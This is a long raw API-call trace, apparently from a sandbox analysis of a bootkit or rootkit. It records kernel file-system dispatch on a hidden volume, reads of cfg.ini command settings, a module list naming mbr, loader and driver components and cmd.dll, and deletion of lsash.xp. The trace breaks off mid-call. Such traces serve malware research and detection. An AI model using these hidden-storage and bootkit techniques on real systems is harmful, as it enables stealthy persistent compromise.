IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.942] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.942] KeEnterCriticalRegion () [0128.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6e000 [0128.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.942] IdePortDispatch () returned 0x103 [0128.942] KeWaitForMutexObject () returned 0x0 [0128.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.943] IdePortDispatch () returned 0x103 [0128.943] KeWaitForMutexObject () returned 0x0 [0128.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.943] KeLeaveCriticalRegion () [0128.943] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.943] KeEnterCriticalRegion () [0128.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.943] KeLeaveCriticalRegion () [0128.943] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.943] KeEnterCriticalRegion () [0128.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.943] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.944] KeLeaveCriticalRegion () [0128.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.944] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.944] KeEnterCriticalRegion () [0128.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.944] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0128.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.944] KeLeaveCriticalRegion () [0128.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.944] ReleaseMutex (hMutex=0xf0) returned 1 [0128.944] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.944] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.944] KeEnterCriticalRegion () [0128.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.944] IdePortDispatch () returned 0x103 [0128.944] KeWaitForMutexObject () returned 0x0 [0128.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.944] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.944] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.944] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.944] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.944] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649870 [0128.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.944] KeLeaveCriticalRegion () [0128.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.945] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.945] KeEnterCriticalRegion () [0128.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.945] KeLeaveCriticalRegion () [0128.945] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.945] KeEnterCriticalRegion () [0128.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.945] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.945] IdePortDispatch () returned 0x103 [0128.945] KeWaitForMutexObject () returned 0x0 [0128.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.945] KeLeaveCriticalRegion () [0128.945] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.945] KeEnterCriticalRegion () [0128.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6f000 [0128.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.945] IdePortDispatch () returned 0x103 [0128.945] KeWaitForMutexObject () returned 0x0 [0128.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.946] IdePortDispatch () returned 0x103 [0128.946] KeWaitForMutexObject () returned 0x0 [0128.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.946] KeLeaveCriticalRegion () [0128.946] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.946] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.946] KeEnterCriticalRegion () [0128.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] KeLeaveCriticalRegion () [0128.947] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.947] KeEnterCriticalRegion () [0128.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.947] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02280, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] KeLeaveCriticalRegion () [0128.947] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.947] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.947] KeEnterCriticalRegion () [0128.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] ExFreePoolWithTag (P=0xfffffa8003649870, Tag=0x0) [0128.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] KeLeaveCriticalRegion () [0128.947] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.947] ReleaseMutex (hMutex=0xf0) returned 1 [0128.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.947] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.947] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.947] KeEnterCriticalRegion () [0128.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.947] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.947] IdePortDispatch () returned 0x103 [0128.947] KeWaitForMutexObject () returned 0x0 [0128.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.947] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.948] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.948] KeLeaveCriticalRegion () [0128.948] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.948] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.948] KeEnterCriticalRegion () [0128.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.948] KeLeaveCriticalRegion () [0128.948] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.948] KeEnterCriticalRegion () [0128.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.948] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.948] IdePortDispatch () returned 0x103 [0128.948] KeWaitForMutexObject () returned 0x0 [0128.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.948] KeLeaveCriticalRegion () [0128.948] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.948] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.948] KeEnterCriticalRegion () [0128.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b70000 [0128.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.949] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.949] IdePortDispatch () returned 0x103 [0128.949] KeWaitForMutexObject () returned 0x0 [0128.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.949] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.949] IdePortDispatch () returned 0x103 [0128.949] KeWaitForMutexObject () returned 0x0 [0128.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.949] KeLeaveCriticalRegion () [0128.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.950] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.950] KeEnterCriticalRegion () [0128.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] KeLeaveCriticalRegion () [0128.950] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.950] KeEnterCriticalRegion () [0128.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c023d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] KeLeaveCriticalRegion () [0128.950] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.950] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.950] KeEnterCriticalRegion () [0128.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] KeLeaveCriticalRegion () [0128.950] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.950] ReleaseMutex (hMutex=0xf0) returned 1 [0128.950] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.950] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.950] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.950] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.950] KeEnterCriticalRegion () [0128.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.950] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.951] IdePortDispatch () returned 0x103 [0128.951] KeWaitForMutexObject () returned 0x0 [0128.951] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.951] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.951] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.951] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.951] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.951] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.951] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.951] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.951] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.951] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.951] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.951] KeLeaveCriticalRegion () [0128.951] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.951] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.951] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.951] KeEnterCriticalRegion () [0128.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.951] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.951] IdePortDispatch () returned 0x103 [0128.951] KeWaitForMutexObject () returned 0x0 [0128.952] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.952] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.952] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.952] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.952] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.952] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.952] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.952] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.952] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.952] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.952] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.952] KeLeaveCriticalRegion () [0128.952] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.952] ReleaseMutex (hMutex=0x100) returned 1 [0128.952] Sleep (dwMilliseconds=0x2bf20) [0128.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70109ef0, dwHighDateTime=0x1d24fa4)) [0128.959] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.959] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.959] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.959] KeEnterCriticalRegion () [0128.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.959] IoAllocateMdl (in: 